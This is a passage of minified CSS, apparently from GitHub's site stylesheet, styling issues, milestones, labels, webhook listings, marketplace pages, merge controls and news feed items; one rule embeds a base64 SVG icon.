.title{display:block;padding:8px;margin:0;font-weight:600;line-height:1;pointer-events:none}.svg-tip.comparison ul{padding:4px 8px 8px 8px;margin:0;white-space:nowrap;list-style:none}.svg-tip.comparison li{display:inline-block;padding-top:16px}.svg-tip.comparison .metric-0,.svg-tip.comparison .metric-1{position:relative}.svg-tip.comparison .metric-0::before,.svg-tip.comparison .metric-1::before{position:absolute;top:0;right:0;left:0;height:4px;content:"";border:1px solid var(--color-border-default);border-radius:6px}.svg-tip.comparison .metric-0::before{background-color:var(--color-success-emphasis)}.svg-tip.comparison .metric-1::before{background-color:var(--color-accent-emphasis)}.svg-tip-one-line{white-space:nowrap}.activity-overview-axis,.activity-overview-point{stroke:var(--color-calendar-graph-day-L4-bg)}.halloween-activity-overview .activity-overview-axis,.halloween-activity-overview .activity-overview-point{stroke:var(--color-calendar-halloween-graph-day-L4-bg)}.activity-overview-label{fill:var(--color-fg-muted)}.activity-overview-percentage{font-size:12px;fill:var(--color-fg-muted)}.team-breadcrumb .team-breadcrumb-item{display:inline-block}.team-breadcrumb .team-breadcrumb-item::after{padding-right:.5em;padding-left:.5em;color:var(--color-neutral-muted);content:"/"}.team-breadcrumb .team-breadcrumb-item-selected::after{content:none}.team-discussions-container{min-height:100vh}.team-left-column{max-width:100%}@media(min-width: 768px){.team-left-column{max-width:350px}}.team-left-column .team-avatar{width:80px;height:80px}@media(min-width: 768px){.team-left-column .team-avatar{width:140px;height:140px}}.team-discussions{max-width:768px}.team-discussions .previewable-comment-form .comment{border:0}.team-discussions .previewable-comment-form .toolbar-commenting.toolbar-commenting.toolbar-commenting{background:transparent}.team-discussions .previewable-comment-form .tabnav-tab.selected{background-color:var(--color-canvas-default)}.hooks-listing .boxed-group-action.select-menu{z-index:auto}.hooks-listing .boxed-group-inner{padding:0 8px;margin-bottom:8px}.hook-item a:hover{text-decoration:none}.hook-item .item-status{float:left;width:16px;margin-right:8px;text-align:center}.hook-item .description{color:var(--color-fg-muted)}.hook-item .description .css-truncate-target{max-width:160px}.hook-item .icon-for-success,.hook-item .icon-for-failure,.hook-item .icon-for-pending,.hook-item .icon-for-inactive{display:none}.hook-item.success .icon-for-success{display:inline-block;color:var(--color-success-fg)}.hook-item.failure .icon-for-failure{display:inline-block;color:var(--color-danger-fg)}.hook-item.pending .icon-for-pending{display:inline-block;color:var(--color-fg-muted)}.hook-item.inactive .icon-for-inactive{display:inline-block;color:var(--color-fg-muted)}.hook-item .icon-for-enabled,.hook-item .icon-for-disabled{display:none}.hook-item.enabled .icon-for-enabled{display:inline-block;color:var(--color-success-fg)}.hook-item.disabled .icon-for-disabled{display:inline-block;color:var(--color-fg-muted)}.hook-item .hook-error-message{margin-left:24px;color:var(--color-danger-fg)}.hook-url.css-truncate-target{max-width:360px}.hooks-oap-warning{margin-top:0}.hooks-oap-warning ul{margin:8px 0}.hooks-oap-warning ul li{margin-left:16px}.item-name{float:left;font-weight:600}.hovercard-icon{width:16px}.integration-meta-head{font-size:16px;color:var(--color-fg-muted)}.integrations-select-repos{max-height:138px;overflow-y:scroll;border-radius:6px}.integrations-select-repos .mini-repo-list-item{padding:8px 64px 8px 32px}.integrations-select-repos .mini-repo-list-item:hover .repo,.integrations-select-repos .mini-repo-list-item:hover .owner{text-decoration:none}.integrations-select-repos .mini-repo-list-item .css-truncate-target{max-width:345px}.integrations-select-repos::-webkit-scrollbar{width:10px}.integrations-select-repos::-webkit-scrollbar-thumb{background-color:rgba(0,0,0,.5);border:solid var(--color-canvas-default) 2px;border-radius:6px;box-shadow:0 0 1px rgba(255,255,255,.5)}.integrations-select-repos::-webkit-scrollbar-track-piece{background:transparent}.integrations-repository-picker{width:440px}.target-avatar{position:relative;top:-2px}.issue-list-item+.issue-list-item{border-top:solid 1px var(--color-border-muted)}.pinned-issue-item .pinned-issue-handle{cursor:grab}.pinned-issue-item.is-dragging,.pinned-issue-item.is-dragging .pinned-issue-handle{cursor:grabbing}.pinned-issue-item.is-dragging{background-color:var(--color-accent-subtle)}.pinned-issue-item.sortable-ghost{background-color:var(--color-accent-subtle);opacity:0}.issues-reset-query-wrapper{margin-bottom:16px}.label-link:hover{text-decoration:none}.issues-reset-query{font-weight:600;color:var(--color-fg-muted)}.issues-reset-query:hover{color:var(--color-accent-fg);text-decoration:none}.issues-reset-query:hover .issues-reset-query-icon{background-color:var(--color-accent-emphasis)}.issues-reset-query-icon{width:18px;height:18px;padding:1px;margin-right:4px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.table-list-milestones .stats{gap:0 15px}.table-list-milestones .table-list-cell{padding:16px 16px}.table-list-milestones .stat{display:inline-block;font-size:14px;font-weight:600;line-height:1.2;color:var(--color-fg-muted);white-space:nowrap}.table-list-milestones .stat a{color:inherit}.table-list-milestones .stat-label{font-weight:400;color:var(--color-fg-muted)}.milestone-title{width:500px}.milestone-title-link{margin-top:0;margin-bottom:4px;font-size:24px;font-weight:400;line-height:1.2}.milestone-title-link a{color:var(--color-fg-default, #333)}.milestone-title-link a:hover{color:var(--color-accent-fg)}.milestone-progress{width:auto;max-width:420px}.milestone-progress .progress-bar{margin-top:8px;margin-bottom:12px}.milestone-meta{font-size:14px}.milestone-meta-item{display:inline-block;margin-right:8px}.milestone-meta-item .octicon{width:16px;text-align:center}.milestone-description-html{display:none}.milestone-description{margin-top:4px}.milestone-description .expand-more{color:var(--color-accent-fg);cursor:pointer}.milestone-description .expand-more:hover{text-decoration:underline}.milestone-description.open .milestone-description-plaintext{display:none}.milestone-description.open .milestone-description-html{display:block}.milestones-flexbox-gap{gap:10px}.issue-reorder-warning{z-index:110}.task-progress{color:var(--color-fg-muted);text-decoration:none;vertical-align:top}.task-progress .octicon{margin-right:4px;color:var(--color-fg-muted, #999);vertical-align:bottom}.task-progress .progress-bar{display:inline-block;width:80px;height:5px;vertical-align:2px;background-color:var(--color-neutral-muted)}.task-progress .progress-bar .progress{background-color:var(--color-border-default)}.task-progress-counts{display:inline-block;margin-right:4px;margin-left:-2px;font-size:12px}a.task-progress:hover{color:var(--color-accent-fg)}a.task-progress:hover .octicon{color:inherit}a.task-progress:hover .progress-bar .progress{background-color:var(--color-accent-emphasis)}.issue-meta-section .octicon{color:var(--color-fg-muted, #ccc);vertical-align:bottom}.issue-milestone{max-width:240px}.issue-milestone .css-truncate-target{max-width:100px}.milestone-link .octicon{font-size:14px}.milestone-link:hover .octicon{color:inherit}.new-pr-form{margin-top:16px;margin-bottom:16px}.new-pr-form::before{display:table;content:""}.new-pr-form::after{display:table;clear:both;content:""}.new-pr-form .discussion-timeline::before{display:none}.label-select-menu .description{margin-left:16px}.label-select-menu .color{display:inline-block;width:14px;height:14px;margin-top:-1px;margin-right:2px;vertical-align:middle;border-radius:7px}.label-select-menu [aria-checked=true] .select-menu-item-icon,.label-select-menu [aria-checked=mixed] .select-menu-item-icon,.label-select-menu .selected .select-menu-item-icon{color:inherit !important}.label-select-menu [aria-checked=true] .octicon-circle-slash,.label-select-menu [aria-checked=mixed] .octicon-circle-slash,.label-select-menu .selected .octicon-circle-slash{color:var(--color-fg-muted)}.label-select-menu [aria-checked=true]:active,.label-select-menu [aria-checked=mixed]:active,.label-select-menu .selected:active{background-color:transparent !important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child 